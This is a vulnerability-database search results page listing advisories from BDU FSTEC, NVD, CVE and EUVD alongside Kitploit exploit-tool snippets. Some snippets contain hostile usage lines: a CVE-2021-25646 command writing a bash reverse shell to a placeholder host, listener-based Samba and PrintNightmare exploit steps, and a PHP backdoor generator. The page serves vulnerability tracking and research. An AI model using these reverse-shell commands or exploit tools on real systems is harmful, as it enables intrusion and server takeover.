Lucene search
+L

24340 matches found

BDU FSTEC
BDU FSTEC
•added 2026/10/20 1:13 a.m.•37 views

CRM Platform Authentication Bypass

The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. Exploiting this vulnerability could allow attackers, operating remotely, to circumvent existing security mechanisms and gain unauthorized access to...

7.6CVSS6.7AI score
SaveExploits0References2Affected Software1
BDU FSTEC
BDU FSTEC
•added 2026/10/20 1:13 a.m.•38 views

Webasyst Shop-Script CMS SQL Injection

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

9CVSS7.4AI score
SaveExploits0References2Affected Software2
BDU FSTEC
BDU FSTEC
•added 2026/10/20 1:13 a.m.•61 views

Webasyst Shop-Script CMS SQL Injection

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

10CVSS7.4AI score
SaveExploits0References2Affected Software2
BDU FSTEC
BDU FSTEC
•added 2026/10/20 1:12 a.m.•42 views

OpenSky Flight Planning Unrestricted File Execution

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

10CVSS7.5AI score
SaveExploits0Affected Software1
BDU FSTEC
BDU FSTEC
•added 2026/10/20 1:12 a.m.•41 views

OpenSky Flight Planning Unrestricted File Execution

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

10CVSS7.5AI score
SaveExploits0Affected Software1
Kitploit
Kitploit
•added 2026/10/19 8:06 p.m.•28 views

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - Remote Buffer Overflow Rewrite for python3 for the PNPT course. Original: Author KAhara MAnhara Rewritten: in python3 by Giuseppe Aloisi Achat 0.150 beta7 - Buffer Overflow Tested on Windows 7 32bit https://www.exploit-db.com/exploits/36025 give the script a few...

5.8CVSS6.1AI score0.07207EPSS
SaveExploits3
Kitploit
Kitploit
•added 2026/10/19 6:53 p.m.•28 views

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...

9CVSS7.9AI score0.99001EPSS
SaveExploits11
Kitploit
Kitploit
•added 2026/10/19 5:52 p.m.•27 views

CVE-2024-38063-

CVE-2024-38063- Remotely Exploiting The Kernel Via IPv6 CVE-2024-38063 - Remotely Exploiting The Kernel Via IPv6 Marcus Hutchins Since the latest Windows patch dropped on the 13th of August I’ve been deep in the weeds of tcpip.sys the kernel driver responsible for handling TCP/IP packets. A...

9.8CVSS8AI score0.70564EPSS
SaveExploits27
NVD
NVD
•added 2026/10/19 5:17 p.m.•4 views

CVE-2026-112193

A vulnerability was detected in Webkul Aureus ERP up to 1.6.0. Impacted is an unknown function of the file plugins/webkul/security/src/Filament/Resources/UserResource/Schemas/UserForm.php. Performing a manipulation of the argument Password results in weak password requirements. Remote exploitatio...

6.3CVSS
SaveExploits0References5
CVE
CVE
•added 2026/10/19 4:45 p.m.•7 views

CVE-2026-112193

A vulnerability exists in Webkul Aureus ERP (versions up to 1.6.0) within the file plugins/webkul/security/src/Filament/Resources/UserResource/Schemas/UserForm.php. An attacker can manipulate the Password argument to bypass standard security policies, resulting in weak password requirements . Whi...

6.3CVSS4.4AI score
SaveExploits0References5
EUVD
EUVD
•added 2026/10/19 4:45 p.m.•4 views

EUVD-2026-104479

A vulnerability was detected in Webkul Aureus ERP up to 1.6.0. Impacted is an unknown function of the file plugins/webkul/security/src/Filament/Resources/UserResource/Schemas/UserForm.php. Performing a manipulation of the argument Password results in weak password requirements. Remote exploitatio...

6.3CVSS4.4AI score
SaveExploits0References5
Cvelist
Cvelist
•added 2026/10/19 4:45 p.m.•13 views

CVE-2026-112193 Webkul Aureus ERP UserForm.php weak password

A vulnerability was detected in Webkul Aureus ERP up to 1.6.0. Impacted is an unknown function of the file plugins/webkul/security/src/Filament/Resources/UserResource/Schemas/UserForm.php. Performing a manipulation of the argument Password results in weak password requirements. Remote exploitatio...

6.3CVSS
SaveExploits0References5
Kitploit
Kitploit
•added 2026/10/19 3:53 p.m.•23 views

CVE-2024-10914

CVE-2024-10914 A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgiuseradd of the file /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. The manipulation of the argument name leads t...

9.8CVSS7.6AI score0.96284EPSS
SaveExploits15
Kitploit
Kitploit
•added 2026/10/19 3:34 p.m.•14 views

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap script. https://alien0ne.digitalpress.blog/cve-2007-2447/ Usage: $ python3 script.py rhost - The target address rport - The target port lhost - The listener address lport - The listener port Installation: This exploit requires Python 3.7 or higher sudo...

6CVSS8.3AI score0.49759EPSS
SaveExploits20
Kitploit
Kitploit
•added 2026/10/19 2:23 p.m.•21 views

vmware_vcenter_cve_2020_3952

Proof of concept for CVE-2020-3952 This is a short piece of code that exploits of CVE-2020-3952, which is described in detail at the Guardicore Labs post over here. This vulnerability was published by VMware in April 2020 with a maximum CVSS score of 10.0. It allows an attacker with a network...

9.8CVSS8.3AI score0.90384EPSS
SaveExploits20
Kitploit
Kitploit
•added 2026/10/19 12:23 p.m.•18 views

CVE-2025-41646

CVE-2025-41646 - RevPi Webstatus = 2.4.5 Authentication Bypass Exploit Overview This is a Python3 exploit script for CVE-2025-41646 , an Authentication Bypass vulnerability affecting RevPi Webstatus = 2.4.5. Vulnerability Details: CVE ID : CVE-2025-41646 Affected Product : RevPi Webstatus = 2.4.5...

9.8CVSS8.9AI score0.51267EPSS
SaveExploits3
Kitploit
Kitploit
•added 2026/10/19 11:40 a.m.•27 views

Remot3d

Remot3d - An Easy Way To Exploiting Will be updated soon Remot3d - A tool made to generate backdoor to control and exploit a server where the server runs the PHP Hypertext Preprocessor program. Equipped with a backdoor that has been obsfucated, which means that it shoudl generally be FUD Fully...

6.1AI score
SaveExploits0References7
Kitploit
Kitploit
•added 2026/10/19 10:55 a.m.•23 views

CVE-2024-57778

CVE-2024-57778 Description : An issue in Orbe ONetView Roteador Onet-1200 allows a remote attacker to escalate privileges via the servers response from status code 500 to status code 200. Versions : Discovered in Orbe ONetView Roteador Onet-1200 Orbe 1680210096, but applicable to all versions up...

8.8CVSS6.1AI score0.00549EPSS
SaveExploits0
Kitploit
Kitploit
•added 2026/10/19 5:08 a.m.•22 views

CVE-2020-14883EXP

CVE-2020-14883EXP Used for verifying and exploiting WebLogic 10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0. Do not use for illegal purposes. Enter IP+port to start verification e.g. 127.0.0.1:7001 Supports remote XML command execution Versions other than 10.3.6.0.0 provide two...

9CVSS8.9AI score0.97734EPSS
SaveExploits9
Kitploit
Kitploit
•added 2026/10/19 4:49 a.m.•16 views

CVE-2021-1675

CVE-2021-1675 Modified from https://github.com/sailay1996/PrintNightmare-LPE, supports remote exploitation. 1. Upload PrintNightmareLPE.exe and vlib.dll to the remote server, then execute PrintNightmareLPE.exe. 2. Set up port forwarding locally: netsh interface portproxy add v4tov4 listenport=313...

9.3CVSS8.2AI score0.85305EPSS
SaveExploits65References1
Rows per page
Query Builder